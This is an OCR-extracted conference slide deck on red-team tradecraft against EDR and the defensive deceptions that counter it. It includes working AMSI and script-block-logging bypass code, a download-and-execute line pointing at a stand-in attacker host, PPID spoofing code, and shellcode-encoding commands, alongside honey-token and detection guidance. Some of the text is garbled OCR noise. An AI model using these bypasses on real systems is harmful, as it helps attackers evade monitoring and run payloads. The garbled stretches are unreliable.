

<u>4</u>2

September 2019



\*)



A member of the Lloyd's Register group

### Mac - @BaffledJimmy

Red Teamer @ Nettitude

- Do RT / big inf pentesting
- Enjoys AD abuse and using security tooling against organisations
- Spoken at GISEC Dubai, SteelCon, BSides Manchester
- Delivered some RT training in some places
- CCSAS / CCT etc



HienuksMhQumanmfidefilusMp`:"nakos\_amada", "navas"

### Contents

- Red Teaming Context
- Red vs Blue
  - PSv5 vs PSv2 & CSharp
  - Process Tree Mapping vs PPID & Argument spoofing
  - Rise of EDR vs Unhooking
  - Deception vs Situational Awareness
- Key Takeaways for your Organisation



celsimernor niem or qiste side upol-in

## Red Team Context

- Red Team is driven by Threat Intelligence and Detection & Response Assessment.
- Without these, it is objective based pentest
- Red Team comes in the later stages of an organisations maturity when all the low hanging fruit have been removed.
- The wider activities of the red team risk reduction, updates, postengagement debriefs are as critical as the 'operating' part of the engagement.



r':","#JawPageSete":"("theme":"seven","theme\_token":"dg"tul.PadfAmuguQM1xxwauP03stkibsSc?sCv0c","gs": tee.menus.css":1,"modules//system/system.messages.css":1,"modules//system/system.theme.css":1,"modul j1//modules//contrib//conds//css/rctonds.css":1,"sites/all/modules//system/system.theme.css":1,"modul

### PSv5 - PowerShell Script Block Logging

- PowerShell is allegedly dead?
- Huge increase in visibility for the Blue Team
  - But are you actually looking at those logs or relying on EDR alone?
- PowerShell v2 is still installed on a huge number of estates, removing all of the AMSI protections
- PowerShell & AMSI is a potent mix for the defender

## **PSv5** - PowerShell Script Block Logging

\$GroupPolicyField =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings',
'N'+'onPublic,Static')

If (\$GroupPolicyField) {

```
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
```

```
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
```

```
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
```

```
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
```

```
}
```

```
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
```

```
$val.Add('EnableScriptB'+'lockLogging', 0)
```

```
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
```

\$GroupPolicyCache['HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Scripte

```
+'lockLogging'] = $val
```

```
}
```

```
https://cobbr.io/ScriptBlock-Logging-Bypass.html
https://gist.github.com/cobbr/d8072d730b24fbae6ffe3aed8ca9c407
```

### **PSv5** - CSharp Entered the Game!

CSharp implant or functionality is available in PoshC2, Cobalt Strike, Covenant and most of the decent C2 frameworks out there.

AMSI implementation into .Net 4.8 (released April this year) doesn't have much penetration into large corporates yet, and Red Team already have a bypass for it which is baked into PoshC2 <sup>(i)</sup>

The PowerShell AMSI bypass is well known, but Defender works quickly so you might need to do some trivial obfuscation to defeat static strings.

```
$Win32 = @"
     using System;
     using System.Runtime.InteropServices;
     public class Win32 {
         [DllImport("kernel32")]
         public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
         [DllImport("kernel32")]
         public static extern IntPtr LoadLibrary(string name);
11
12
         [DllImport("kernel32")]
13
         public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpfl0ldProtect);
.4
     "@
17
     Add-Type $Win32
     $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
21
     $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
22
23
     p = 0
     [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
     $Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
     [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
26
27
     IEX((New-Object System.Net.WebClient).DownloadString('https://attack.com/NextStagePayload'))
```

### **PSv5** - CSharp Entered the Game!

Decompile the Core.exe in PoshC2 if you want to see the mechanics of how it works.

- Adjust the memory permissions,
- Patch the memory address with the AMSI bypass,
- Change the old permissions back to stop EDRs like Kaspersky.



### **PSv5** - CSharp Entered the Game!

| 242 |   |   | pub | plic static string BypassAMSI(){   |
|-----|---|---|-----|--|
| 243 |   |   |     | <pre>var bypass = new byte[] { 0x90, 0x88, 0x00, 0x00, 0x00, 0x01, 0xc3};</pre>  |
| 244 |   |   |     | <pre>var two = "i.dll";</pre>  |
| 245 |   |   |     | <pre>var x = "zip";</pre>  |
| 246 |   |   |     | <pre>var one = "ams";</pre>  |
| 247 |   |   |     | <pre>var 11 = LoadLibrary(one + two);</pre>  |
| 248 |   |   |     | var four = "iScanB";   |
| 249 |   |   |     | <pre>var y = "unzip";</pre>  |
| 250 |   |   |     | var three = "Ams";   |
| 251 |   |   |     | <pre>var five = "uffer";</pre>   |
| 252 |   |   |     | <pre>var ptr = GetProcAddress(11, three + four + five);</pre>  |
| 253 |   |   |     | uint oldPerms;   |
| 254 |   |   |     | <pre>if(VirtualProtect(ptr, (UIntPtr) bypass.Length, 0x40, out oldPerms)){</pre>   |
| 255 |   |   |     | Marshal.Copy(bypass, 0, ptr, bypass.Length);   |
| 256 |   |   |     | VirtualProtect(ptr, (UIntPtr) bypass.Length, oldPerms, out oldPerms);  |
| 257 |   |   |     | }  |
| 258 |   |   |     | <pre>return "\n[&gt;] Memory location of AmsiScanBuffer: " + ptr.ToString("X8")+"\n[+] " + "AmsiScanBuffer Patched With Bypass\n";</pre> |
| 259 |   |   | }   |  |
| 260 |   | } |     |  |
| 261 | } |   |     |  |

### Process Tree Tracing & Default Rules

### https://www.bit9.com/cbfeeds/advancedthreat\_feed.xhtml

Possible persistence regmod - winlogon/userinit or shell Suid bit set on a file or directory Shell spawned by a browser Suspicious disk image detachment Suspicious process execution Remote powershell activity Powershell or WinRM remoting activity Process spawned by powershell remoting (WinRM) Attempt to start WinRM service Suspicious sychost user Suspicious svchost parent Run Key Added With Non-Program Files Value Path Suspicious Scheduled Task Unsigned Process Modifying Windows Tasks Directory Potential DLL Sideloading through SXS Directory Process Setting Hidden and System File Attributes System Profiling System Profiling via WMI Suspicious Child Processes of WScript

Big credit to Will Burgess from MWR and Casey Smith for their initial work on this.

### **PPID Spoofing**

PROCESS INFORMATION pInfo = new PROCESS INFORMATION(); STARTUPINFOEX sInfoEx = new STARTUPINFOEX(); sInfoEx.StartupInfo.cb = Marshal.SizeOf(sInfoEx); IntPtr lpValue = IntPtr.Zero;

#### try {

if (parentProcessId > 0)

IntPtr lpSize = IntPtr.Zero; bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);

sInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);

success = InitializeProcThreadAttributeList(sInfoEx.lpAttributeList, 1, 0, ref lpSize); IntPtr parentHandle = Process.GetProcessById(parentProcessId).Handle;

lpValue = Marshal.AllocHGlobal(IntPtr.Size); Marshal.WriteIntPtr(lpValue, parentHandle);

success = UpdateProcThreadAttribute(
 sInfoEx.lpAttributeList,
 0,
 (IntPtr)PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS,
 lpValue,
 (IntPtr)IntPtr.Size,
 IntPtr.Zero,
 IntPtr.Zero);

SECURITY\_ATTRIBUTES pSec = new SECURITY\_ATTRIBUTES(); SECURITY\_ATTRIBUTES tSec = new SECURITY\_ATTRIBUTES(); pSec.nLength = Marshal.SizeOf(pSec); tSec.nLength = Marshal.SizeOf(tSec);

if (Suspended && parentProcessId > 0)

CreateProcess(lpApplicationName, null, ref pSec, ref tSec, false, EXTENDED\_STARTUPINFO\_PRESENT | CREATE\_SUSPENDED, IntPtr.Zero, null, ref sInfoEx, out pInfo);

-MAIL

WORKSTATION

SECURI





Cobalt Strike has the concept of Session Prepping which can be transferred to other C2 frameworks too.

Prep your target injection process in your MalleableC2 profile but check what processes are running on the machine already.

Situational Awareness of the target is critical to maintaining stealth.

CreateRemoteThread is prohibited by most mature red teams ©

https://www.endgame.com/blog/technical-blog/ten-process-injectiontechniques-technical-survey-common-and-trending-process

### **PPID Spoofing**

### BLOREBANK\paul @ WIN10\_CIENT10 (PID:2780)

4> migrate -procpath c:\windows\system32\svchost.exe -suspended -parentid 6252

#### Process Analysis



 Process: svchost.exe
 ▲

 PID: 260
 OS Type: windows

 OS Type: windows
 Path: c:\windows\system32\svchost.exe

 Username: BLOREBANK\paul
 MD5: 8a0a29438052faed8a2532da50455756

 Start Time: 2019-03-06T21:14:26.981Z
 Interface IP: 10.150.10.210

 Server Comms IP: 10.150.10.210
 ✓

 svchost.exe: Signed by Microsoft Corporation
 ✓

 为 Alliance Feeds 0 hit(s) in 0 report(s)
 ✓

( SYMBOL

(?) Cb Support

Actions -

COMPUTER

E-MAIL

Notifications -

ICI Isolate host

SECURI



### EDR – The Silver Bullet?

Most EDR has some aspect of it's functionality in userland. Some couple this with kernel mode drivers too.



### **EDR** – Functionality?

EDR makes heavy use of hooking, intercepting API calls and commands to examine them, before passing them back to the OS.



## EDR – Cylance

# Cylance hooks each function and passes it to cymemdef64 using ZeCreateThreadEx

| R Injector.exe - PID: 3E0 - Module: ntdll.dl  | I - Thread: Main Thread 10E0 - x64  | ldbg  |                           |
|---|---|---|---------------------------|
| File View Debug Trace Plugins Favo  | ourites Options Help Apr 22.2   | 019   |                           |
| 🚔 🗐 🔳 🔿 🖩 🕇 🖓 👾 🎍 🗎   | 🛊 📲 📓 🥖 🗏 🖉 🦧 j   | fx #   A2 🖺 📕 👮   |                           |
| 🖾 CPU<br>   | otes 🔹 Breakpoints 📟 Me   | mory Map 🧐 Call Stack 🧠 SEH   | 💿 Script 🛛 😫 Symbols 🔇 Sc |
| OOOO7FFF8AEC8600     OOOO7FFF8AEC8605     OOOO7FFF8AEC8607     OOOO7FFF8AEC8609     OOOO7FFF8AEC8600     OOOO7FFF8AEC8600     OOOO7FFF8AEC8600     OOOO7FFF8AEC8600     OOOO7FFF8AEC8622     OOOO7FFF8AEC8622     OOOO7FFF8AEC8623     OOOO7FFF8AEC8623     OOOO7FFF8AEC8624     OOOO7FFF8AEC8625     OOOO7FFF8AEC8625     OOOO7FFF8AEC8627 | <ul> <li>E9 1B9BBAE2</li> <li>0000</li> <li>00F6</li> <li>04 25</li> <li>0803</li> <li>FE</li> <li>7F 01</li> <li>75 03</li> <li>0F05</li> <li>C3</li> <li>CD 2E</li> <li>C3</li> </ul> | <pre>jmp cymemdef64.7FFF6DA751F0 add byte ptr ds.[rax],a1 add dh,dh add a1,25 or byte ptr ds:[rbx],a1 ig ntdll.7FFF8AECB6E1 jne ntdll.7FFF8AECB6E5 syscall ret int 2E ret</pre> | ZwCreateThreadEx          |

### Unhooking & Sidestepping – Cylance

Some great research from XPN at MDSec and Kyriakos Economou from Nettitude has made trivial bypasses for Cylance possible, as well unhooking the wider AMSI process.

Excel4 Macros are also effective against Cylance installations as there is zero AMSI integrations and Excel4 macros work even if Cylance explicitly prohibits macro and script executions.

### C2 Agnostic Example:

msfvenom -p generic/custom PAYLOADFILE=payload.bin -a x86 --platform
windows -e x86/shikata\_ga\_nai -f raw -o shellcode-encoded.bin -b
'\x00'

python SharpShooter.py --payload slk --output CRESTCon --rawscfile
./shellcode-encoded.bin

https://www.mdsec.co.uk/2019/03/silencing-cylance-a-case-study-in-modern-edmain

### **Deception and Minefields**

- Blue Team know the vital ground for the network
- You know where the Critical Economic Functions are so lay some traps for the attackers, you control the battlespace
- Implement some deceptions and take back the initiative and begin hunting



i","BjakeBgState":("there":"seven","there\_Soken":"dpitul!FabfAnuguQAnsxuuaUP0355k18p56950405","js";( ser.menus.css":1,"modužes\/system\/system.messages.css":1,"sites\/all\/modužes\/system.there.css":1,"moduž ll\/modužes\/contrib//cools/css/cfools.css":1,"sites\/all\/modužes\/ssystem/system/ssec5000612,"js";("moduže

### Honey SPNs

\$SecPassword = ConvertTo-SecureString 'Password\_you\_want\_as\_honey\$P
AsPlainText -Force

New-ADUser -Name "MSSQL\_Confidential" -AccountPassword \$SecPassword -ChangePasswordAtLogon \$false -City "Leamington Spa" -Company "Nettitude" -Country "UK" -Enabled \$true -Department "Service Accounts" -Description "Account used for privileged access to confidential data" -DisplayName "MSSQL\_Confidential" -PasswordNeverExpires \$true -SamAccountName "MSSQL\_Confidential" -Path "OU=ServiceAccounts,dc=MAC\_ACCOUNTS,dc=MAC,dc=local"

 Then alert on a TGS for this user being requested. And alert on the account being used - it has a weak password so will be cracked quickly

Screen must be at least 4 rows to beight

n#w##3//z#m#d7\_\_\_f1="223.f15002872376#b694L70005593#5000#5\/223

",t:"st>:+medi.me3tv://mafty://safubom",t:"st>:regior\_emain=".","neve:":"emain");". ",t:"st>:emain=mafty://mafty://safubom",t:"st>:regior\_emain=".",t:"st>:regior\_emain=".","neve:":"emain");".",

## **Honey Shares**

Create an attractive share that is easy for the attacker to find but doesn't feature in BAU operations, then use a Splunk rule (or similar) to alert on it being accessed.

index=main earliest=-1d sourcetype="wineventlog:security"
EventCode=5140 Share\_Name="\\\\\*\\HoneyPath" OR
Share\_Path="\\??\\C:\\Windows\\HoneyPath\\HoneyFolder"



screen must be at least 4 rows in height

cel>#netnop niem of qi#2c"sidesupol-1

r\*\*\*\*#javPageState\*:{"theme":"seven","theme\_token";"dgf2uLIP#Bf4mugHGxHushumaHP03tH1Bpst9stVet","js";f htem.menus.css":1,"modules//system./system.messages.css":1,"modules//system//system.theme.css":1,"modul htt//modules//contrib//ctools/css/ftools.css":1,"sites/jall//modules//seven/femest//ssystem//spates/

### Honey AWS

### Your AWS key token is active!

Copy this credential pair to your clipboard to use as desired:

[default] aws\_access\_key\_id = AKIA350HX2DSDBINNT5G aws\_secret\_access\_key = mxg/EVpBmN7DcW2PQfvlh2Rd7wrUtIhF5mp1QkDn output = json region = us-east-2

È

### Download your AWS Creds



.''',"#jakPageSete":{"thace":"seven","theme\_token":"deme\_token":"gerultPabfAuugwQmishuwaR0355418956592406","js";s" stem.menus.css":1,"modules//css//css//css/it,"tstes//aj1//modules//system//gystem/fome.css":1,"modul j11//modules//css//costr/css//csols.css":1,"tstes/aj1//modules//system//gystem/fomes/css";","aodules//css//system

### Honey AWS

#### ALERT

anarytoken has been triggered by the Source IP

AWS API Key Token

2019-09-15 14:30:57

0bv3ap8flhsi6rtd37k459fa5

CrestCON Sample AWS Keys

aws keys

193.36.15.237

aws-cli/1.16.163 Python/2.7.15+ Linux/4.19.0-kali1-amd64 botocore/1.12.153

#### nent Details:

"emeda", 41: 123-756293///neves//temeda", 41: 123-17504678725/6969447900265-540066//1223//1//311 

ued aptsul-Huau-t-uot2au-atotxat; ssiti-uetlau-atexati-staued nuau-t 1931日11日-11-1010-11日1-1010-11日11-11日11-11日11-11日111日 Cambra and anti-anti-anglastall-stand work

A: 100,0 V: 100,0 A-V:-00,000 C1: -0,953 3047/30

deped) ( a trat t a 10 10 17 10 17 14 15 prese

2.「慶山林下」「西北京和山村」山下河市山市三市三市三市の山市市、 つんりつのう 1

1-staued aptsut-doi-t

A member of the Lloyd's Reg

### Honey AWS Credentials

**♯ <mark>root</mark> @ P2KS76 in <b>/opt** [10:24:04] ✿ aws iam list-users --profile honey

An error occurred (AccessDenied) when calling the ListUsers operation: User: arn:aws:iam::819147034852:user/canarytokens.com@@ n:aws:iam::819147034852:user/

An error occurred (AccessDenied) when calling the ListUsers operation: User: arn:aws:iam::819147034852:user/canarytokens.com@@0bv3ap8flhsi6rtd37k459fa5 is not authorized to perform: iam:ListUsers on resource: arn:aws:iam::819147034852:user/

celsinging niem of qiA2C sidesuport

1832(\_avitos [isni-s/235=#55613 \_30635/\_stand ex

1. 15.11.1- ap1 5u serie mit fe at teist a fein ba juge auen ap1 5m pet

x ":", "jaxPageState" : "seven", "sheme "token", "dg"2ULIP#BfAmugNQHIsxuualP03ttkIBpEC92Cv6c", "js"; " stem.menus.css" :1, "modules://system./system.estsages.css" :1, "modules://system.theme.css":1, "modul bl1//wodules://contrib//ctools//css//tools.css":1, "states/all/imaugNQHIsxuualP03ttkIbpEC92Cv6c", "js"; " lit:.///ftools//css//de0234e33500611aF94en7c515160751.css":1, "themes//sevennkP03ttkIbpEC92555 lit:.///ftools//css//de024e35500611aF94en7c515160751.css":1, "themes//sevennkP03ttkIbpEc42555

### **Honey HTTP Shortcuts**

|                         | ALERT   | n-sidixsin<br>d-son-nise<br>sidixsin-si<br>son-i-nois |   |
|-------------------------|---|---|---|
| An HTTP Canarytoken has | been triggered by the Source IP   |   |   |
| Basic Details:          |   | -do1-1-unt1   |   |
| Channel                 | HTTP  | + +0150<br>1.17                                       |   |
| Time                    | 2019-09-15 14:27:14   |   |   |
| Canarytoken             | 7hyau081vnls2de8ymf35v9c0   |   |   |
| Token Reminder          | SlowRedirCREST  |   | Ž |
| Token Type              | slow_redirect   |   |   |
| Source IP               | 176.25.115.56   |   |   |
| User Agent              | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)<br>Chrome/77.0.3865.75 Safari/537.36 |   |   |

#### Canarytoken Management Details:

Manage this Canarytoken here

More info on this token here

r";","%j&%PageState":("theme":"seven","theme\_token":"dgmitulIPahfmuguQMMisxuwaMP03sthiBpitceColCv0c","%j";", htem.menus.css":1,"modules//system//system.messages.css":1,"andules//seven/heme.css":1,"modul hil//modules//contrib//ctools//css//tools.css":1,"sites//all//modules//seven/feet.css":1,"modul hil:///ktools//css//de02606fiaF9dea7c5f81007fl.css":1,"themes//seven/feet.css":1,"tour

PART HARBER BERFURTE STREET

there' 'there' classe active there' there' 'there'

AL 100.0 VI: 100.0 A-VI-00.000 CE1 -0.053 3047/30

## **Deception and Minefields**

| Authentication Id : | 0  | ; 5489352 (00000000:0053c2c8)              |
|---------------------|----|--|
| Session :           | I  | nteractive from 1                          |
| Jser Name :         | J  | on   |
| Domain :            | C  | [SD  |
| _ogon Server :      | C  | ISSRV1                                     |
| _ogon Time :        | 9, | /12/2019 8:07:31 PM                        |
| 5ID :               | S  | 1-5-21-2103987738-1897602359-948947909-110 |
| msv :               |    |  |
| tspkg :             |    |  |
| wdigest :           |    |  |
| kerberos :          |    |  |
| ssp :               |    |  |
| credman :           |    |  |
| [00000000]          |    |  |
| * Username          |    | CISD\jesus                                 |
| * Domain            |    | CISD\jesus                                 |
| * Password          |    | sMr2000                                    |
| [00000001]          |    |  |
| * Username          |    | tim@cisd.com                               |
| * Domain            |    | TERMSRV/ep0354                             |
| * Password          |    | 0p;/>L0(                                   |
| [00000002]          |    |  |
| * Username          |    | CISD\rootserver                            |
| * Domain            |    | CISD\rootserver                            |
| * Password          |    | BRoKaw1                                    |
| [00000003]          |    |  |
| * Username          |    | tim@cisd.com                               |
| * Domain            |    | ep0354                                     |
| * Password          |    | 0p;/>L0(                                   |
|                     |    |  |

- Small passwords for interesting accounts?
- Honey passwords in memory are one character too small than the password policy.
- Cleartext passwords on Windows 10
- Users that don't exist in the domain

avitos [isn] avitas acting [isn] active

e/simainos niem os direc

screen must be at least 4 rows to beight

r";","ajaxPageSese":"("theme":"seven","theme\_soken":"dgi2ULIP#8fAmuguQANExwombeDsthiBpsEc9sEc06c","js";(" stem.menus.css":1,"modules//ssylseme/system.messages.css":1,"modules//system//system.theme.css":1,"modul bll//modules//css//sontrb//csols/css/lstonls.css":1,"stres/lall//modules//seven/keset.css":1,"themes



CanaryTokens offer canary zip files that alert when accessed in Windows Explorer – they don't seem to alert when directory is listed via via C2 and subsequently downloaded

### Deceptions need to look real

| Edit View Too | ls Help                           |                  |
|---------------|-----------------------------------|------------------|
| janize 🔻      |                                   |                  |
| Favorites     | Name                              | Date modified    |
| Desktop       | 🎉 Accounts                        | 13/02/2019 12:23 |
| bownloads     | AppLocker_not_enabled             | 17/01/2019 16:03 |
| Recent Places | AV_Bypass                         | 17/01/2019 14:08 |
|               | 🎉 Capital_Trust_Credit            | 13/02/2019 12:24 |
| Libraries     | 퉬 Credentials                     | 15/02/2019 14:01 |
| Documents     | 🗼 Downloads                       | 14/02/2019 12:23 |
| Music         | 퉳 everything_running_as_system    | 17/01/2019 10:01 |
| Pictures      | 퉬 findings                        | 16/01/2019 16:05 |
| Videos        | 퉬 firewall_disabled               | 17/01/2019 16:02 |
|               | Firewall_not_filtering_outbond    | 17/01/2019 14:27 |
| Computer      | LAPS_disabled                     | 17/01/2019 15:29 |
|               | 🍺 localadmin                      | 17/01/2019 10:38 |
|               | 🍺 management                      | 14/02/2019 12:18 |
| Network       | 🔰 Mortgages                       | 18/02/2019 14:19 |
|               | ₽ password                        | 14/02/2019 12:18 |
|               | Password_policy                   | 17/01/2019 15:15 |
|               | PasswordCheck                     | 14/02/2019 12:19 |
|               | SCRIPTED_INHOUSE_PasswordAccountE | 14/02/2019 12:19 |
|               | 🎉 startup_programs_weak_perms     | 17/01/2019 14:35 |
|               | Weak Services Permissions         | 17/01/2019 12:19 |
|               | Windows_event_forwarding_disabled | 17/01/2019 15:08 |

Saved Putty sessions in HR machine?

Mapped drives that don't fit the organisations naming policy?

Saved IE credentials but IE doesn't have a shortcut or has never been opened?

SQL Developer Connections on a Sales machine?

## Key Takeaways for your Organisation

- EDR and technology alone will not save your organisation
- Having defence in depth and well exercised playbooks WILL help mitigate the breach
- Empower your Blue Team staff to act quickly, even if it causes business disruption
- Appropriate segregation REALLY helps but is hard to implement without leadership buy-in
- Red teaming comes **after** several rounds of PT and AD audits

### Credit & Thanks

Nettitude @Nettitude\_Labs – Giving the time and infrastructure to make the talk MDSec @MDSecLabs – Innovative and exciting research @DomChell / @xpn / @m0v4i – AMSI 4.8 bypasses @RastaMouse – The Tiki Series @FuzzySec - ETW SHC - @QinetiQ / @UberMonstro – Getting me into AIT

# THANK YOU

48 SOCTA

September 2019



×)\*



A member of the Lloyd's Register group